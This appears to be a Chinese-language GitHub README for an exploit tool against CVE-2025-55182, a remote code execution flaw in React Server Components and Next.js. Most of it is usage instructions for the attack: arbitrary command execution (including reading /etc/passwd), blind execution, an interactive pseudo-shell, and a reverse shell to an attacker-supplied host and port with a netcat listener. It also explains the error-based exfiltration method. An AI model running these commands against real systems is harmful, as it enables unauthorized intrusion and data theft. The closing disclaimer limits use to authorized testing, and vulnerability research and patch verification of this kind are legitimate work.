p3ta00/react2shell-poc
GitHub: p3ta00/react2shell-poc
针对 CVE-2025-55182 的漏洞利用 PoC,通过原型污染实现针对存在漏洞的 React/Next.js 应用的远程代码执行。
Stars: 9 | Forks: 1
# React2Shell - CVE-2025-55182 PoC
针对 **CVE-2025-55182** 的概念验证,这是 React Server Components 中一个严重的未授权远程代码执行漏洞。
**CVSS 评分:** 10.0(严重)
## 漏洞详情
该漏洞存在于 React 的 Flight 协议反序列化器中。通过利用精心构造的 payload 引发原型污染,攻击者可以在存在漏洞的 Next.js 应用程序上实现任意代码执行。
### 受影响版本
| 产品 | 存在漏洞 | 已修复 |
|---------|------------|---------|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
## 安装说明
```
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
```
## 用法
### 带输出的命令执行(默认 - 基于错误的回传)
输出通过 NEXT_REDIRECT 错误直接返回在 HTTP 响应中 - **无需 callback 服务器**。
```
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
```
### 交互模式
```
python3 react2shell-poc.py -t http://TARGET:3000 -i
```
### 检查漏洞
```
python3 react2shell-poc.py -t http://TARGET:3000 --check
```
### Blind RCE(无输出)
```
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
```
### 反向 Shell
```
# 启动 listener
nc -lvnp 4444
# 发送 payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
```
### 传统方式:基于 Callback 的回传
```
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
```
## 选项
```
-t, --target Target URL (required)
-c, --command Command to execute (output via error-based exfil by default)
--check Check if target is vulnerable
--blind Blind RCE mode (no output capture)
--listen Use callback server instead of error-based exfil
-i, --interactive Interactive pseudo-shell mode
--revshell Attempt reverse shell
--lhost Attacker IP for callbacks/reverse shell
--lport Callback port (default: 9999)
--callback Manual callback URL
--timeout Request timeout in seconds (default: 30)
```
## 工作原理
默认的回传方法使用 **NEXT_REDIRECT 错误注入**:
1. 执行命令并捕获输出
2. 抛出带有输出的 `NEXT_REDIRECT` 错误(位于 `digest` 字段中)
3. Next.js 将错误序列化在 Flight 响应中
4. 输出直接显示在 HTTP 响应体中
这比基于 callback 的回传更可靠,因为它不需要目标具有出站网络访问权限。
## 参考链接
- [Wiz Security - React2Shell 漏洞披露](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
- [Datadog Security Labs 分析](https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/)
- [NVD - CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
## 免责声明
此工具仅供**授权的安全测试和教育目的使用**。未经授权访问计算机系统是非法行为。在进行测试之前,请务必获得适当的授权。
## 作者
p3ta
标签:CISA项目, Maven, Web安全, 漏洞验证, 蓝队分析, 逆向工具